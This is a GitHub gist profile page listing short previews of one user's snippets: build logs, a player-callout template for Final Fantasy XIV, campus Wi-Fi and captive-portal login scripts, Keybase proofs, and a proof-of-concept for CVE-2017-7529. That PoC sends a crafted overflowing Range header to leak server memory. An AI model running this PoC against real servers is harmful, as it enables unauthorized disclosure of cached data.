Skip to content

Instantly share code, notes, and snippets.

View wbsdty331's full-sized avatar

David Liu wbsdty331

View GitHub Profile
@wbsdty331
wbsdty331 / # kf5-kio - 2023-07-24_11-15-42.txt
Created July 24, 2023 03:17
kf5-kio (kde-mac/kde/kf5-kio) on macOS 13.4 - Homebrew build logs
Homebrew build logs for kde-mac/kde/kf5-kio on macOS 13.4
Build date: 2023-07-24 11:15:42
@wbsdty331
wbsdty331 / template.md
Last active November 23, 2022 00:05
FF14 挂人模板

基础信息

  • 本人ID:
  • 被挂人的ID: 曾用名:
  • 涉事(RP店、部队):

0x00 太长不看版

  1. xxxxxxx
@wbsdty331
wbsdty331 / wifi.py
Created November 18, 2018 08:48
Xi'an Technologies University WLAN Authentication Script
import requests
#密码默认是xatu+学号后四位
logindata = {
'DDDDD': 'user',
'upass': 'password',
'0MKKey': '123456',
}
response = requests.post('http://222.25.1.50/a70.htm', data=logindata)
@wbsdty331
wbsdty331 / shell.sh
Created October 31, 2018 15:26
shell
USER="$SCHOOL_ID%40$ISP"
DETECT=$(curl http://detectportal.firefox.com/success.txt -s)
if [[ $DETECT == "success" ]]; then
echo "The fucking network had been connected early."
exit 1
fi
PORTAL_URL=$(curl http://detectportal.firefox.com/success.txt -Ls | cut -d \' -f 2)
URL_PARAM=`echo "eportal/userV2.do?method=login&param=true&$(echo $PORTAL_URL | cut -d '?' -f 2)"`
@wbsdty331
wbsdty331 / poc.py
Created March 6, 2018 15:54
CVE-2017-7529 poc
url = sys.argv[1]
headers = urllib2.urlopen(url, timeout=10).headers
file_len = headers["Content-Length"]
request = urllib2.Request(url)
request.add_header("Range", "bytes=-%d,-9223372036854%d" % (
int(file_len) + 623, 776000 - (int(file_len) + 623)))
try:
cacheres = urllib2.urlopen(request, timeout=10)
if cacheres.code == 206 and "Content-Range" in cacheres.read(2048):
```shell
apt update
apt dist-upgrade
apt-get install gnome
```
@wbsdty331
wbsdty331 / keybase.md
Last active October 7, 2020 04:24
111

Keybase proof

I hereby claim:

  • I am wbsdty331 on github.
  • I am wbsdty331 (https://keybase.io/wbsdty331) on keybase.
  • I have a public key ASAXZgbvd4gACyqF8DkV-H_7XXqvJWlD8uPXOytJegP4DAo

To claim this, I am signing this object:

@wbsdty331
wbsdty331 / keybase.md
Created June 17, 2016 11:29
keybase.md

Keybase proof

I hereby claim:

  • I am wbsdty331 on github.
  • I am wbsdty331 (https://keybase.io/wbsdty331) on keybase.
  • I have a public key ASCgxi6Lwkce4VIoB6vOzZ0TAXqcp3WD1iREX0PhtUfFEwo

To claim this, I am signing this object: